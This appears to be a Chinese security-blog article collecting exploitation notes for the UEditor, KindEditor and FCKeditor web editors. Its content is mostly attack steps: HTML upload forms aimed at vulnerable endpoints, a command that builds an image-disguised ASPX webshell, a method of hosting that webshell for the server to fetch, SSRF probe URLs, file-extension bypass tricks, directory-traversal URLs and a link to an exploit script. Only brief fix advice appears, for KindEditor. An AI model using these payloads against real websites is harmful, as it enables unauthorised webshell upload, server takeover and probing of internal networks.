**声明:**该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!
一、UEditor
UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点。
.net版本文件上传漏洞
Ueditor编辑器.net版本存在任意文件上传漏洞,攻击者可精心构造环境上传文件,获取服务器管理权限。
影响范围:
UEditor V1.4.3.3
验证漏洞
访问:/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
显示如下图所示,说明存在漏洞
漏洞利用
1、可以使用post方式直接上传文件到目标网站
<form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit"/>
</form>
生成图片马
copy normal.jpg/b+shell.aspx/a shell.jpg
打开web服务
python -m SimpleHTTPServer 8888
在shelladdr中输入地址(两种方式)
http://XXXX:8888/shell.jpg?.aspx
http://XXXX:8888/shell.jpg#.aspx
2、上传成功
3、小马地址:
http://ip:port/ueditor/net/upload/image/20201127/6374211044232448561123135.asp
4、连接到pony
SSRF
影响范围:
UEditor V1.4.3
exp
该版本的SSRF触发点:
/jsp/controller.jsp?action=catchimage&source[]=
/jsp/getRemoteImage.jsp?upfile=
/php/controller.php?action=catchimage&source[]=
所以可以构造出
http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png。
更多PoC:
/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
通过修改 source 参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。
提交后的返回信息很容易判断,只要 state 出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。
二、kindEditor
KindEditor是一套开源的HTML可视化编辑器,使用JavaScript编写,支持**asp****、aspx、php、**jsp,几乎支持了所有的网站,该编辑器主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器,非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用。
文件上传漏洞
漏洞描述
该编辑器支持上传功能,如果上传文件类型控制的不好,那么就能利用该漏洞上传恶意文件。
漏洞影响版本
kindeditor<=4.1.1
漏洞利用
访问如下路径判断是否有漏洞
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
点击上传文件选中html文件即可
上传成功后返回地址,访问即可
漏洞修复
1. 删除;即在不影响业务的情况下删除Kindeditor对应文件夹下删除upload_json和file_manager_json.
2. 修改;如果该功能还需使用,可修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、_htm_等文件类型,同时也要修改file_manager_json和upload_json两个文件名称,这样攻击者找不到对应的漏洞上传路径,就无法成功上传具有危害的文件了,最好修补方案还是删除upload_json和file_manager_json
3. 升级kindeditor到最新版本,其它方法有增加白_/_黑名单控制上传文件类型
三、FCKeditor漏洞总结
查看编辑器版本
FCKeditor/_whatsnew.html
1. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
2. Version <=2.4.2 For php
在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!
将以下保存为html文件,修改action地址。
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
3.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
(1)提交shell.php+空格绕过,不过空格只支持win 系统 *nix 是不支持的,[shell.php 和shell.php+空格是2个不同的文件未测试。
(2)继续上传同名文件可变为shell.php;(1).jpg ,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
4、突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
5、FCKeditor中test文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
6、常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.aspCommand=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
7、其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
8、列目录漏洞也可助找上传地址
Version 2.4.1 测试通过修改CurrentFolder参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..
/&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
9、爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
10、FCKeditor 被动限制策略所导致的过滤不严问题
影响版本
FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述
FCKeditor V2.4.3中File类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
FCKeditor 2.0<=2.2允许上传的文件类型:
asa、cer、php2、php4、inc、pwml、pht
文件上传后它保存的文件直接用的**$sFilePath = $sServerDir . $sFileName**,而没有使用**$sExtension为后缀.直接导致在win下在上传文件后面加个.来突破[未测试]!,而在apache下,因为Apache 文件名解析缺陷漏洞也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!**
11、最古老的漏洞,Type文件没有限制!
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx的类型没有检查。我们可以直接构造上传把type=Image改成Type=hsren这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
FCK编辑器jsp版本漏洞:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F
上传马所在目录:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
跟版本有关系,并不是百分百成功, 测试成功几个站,不能通杀,很遗憾。
http://www..com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
如果以上地址不行可以试试
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
12、文件上传利用脚本
影响版本:
fckeditor<=2.4.3
项目地址:https://github.com/shengshengli/FCKeditor-2.4.3--exp
关注我们
公众号回复“2024Hw应急工具”获取Hw应急工具集
公众号回复“简历模板”获取Hw简历模版
公众号回复“2024面经大全”获取全套面经以及回答思路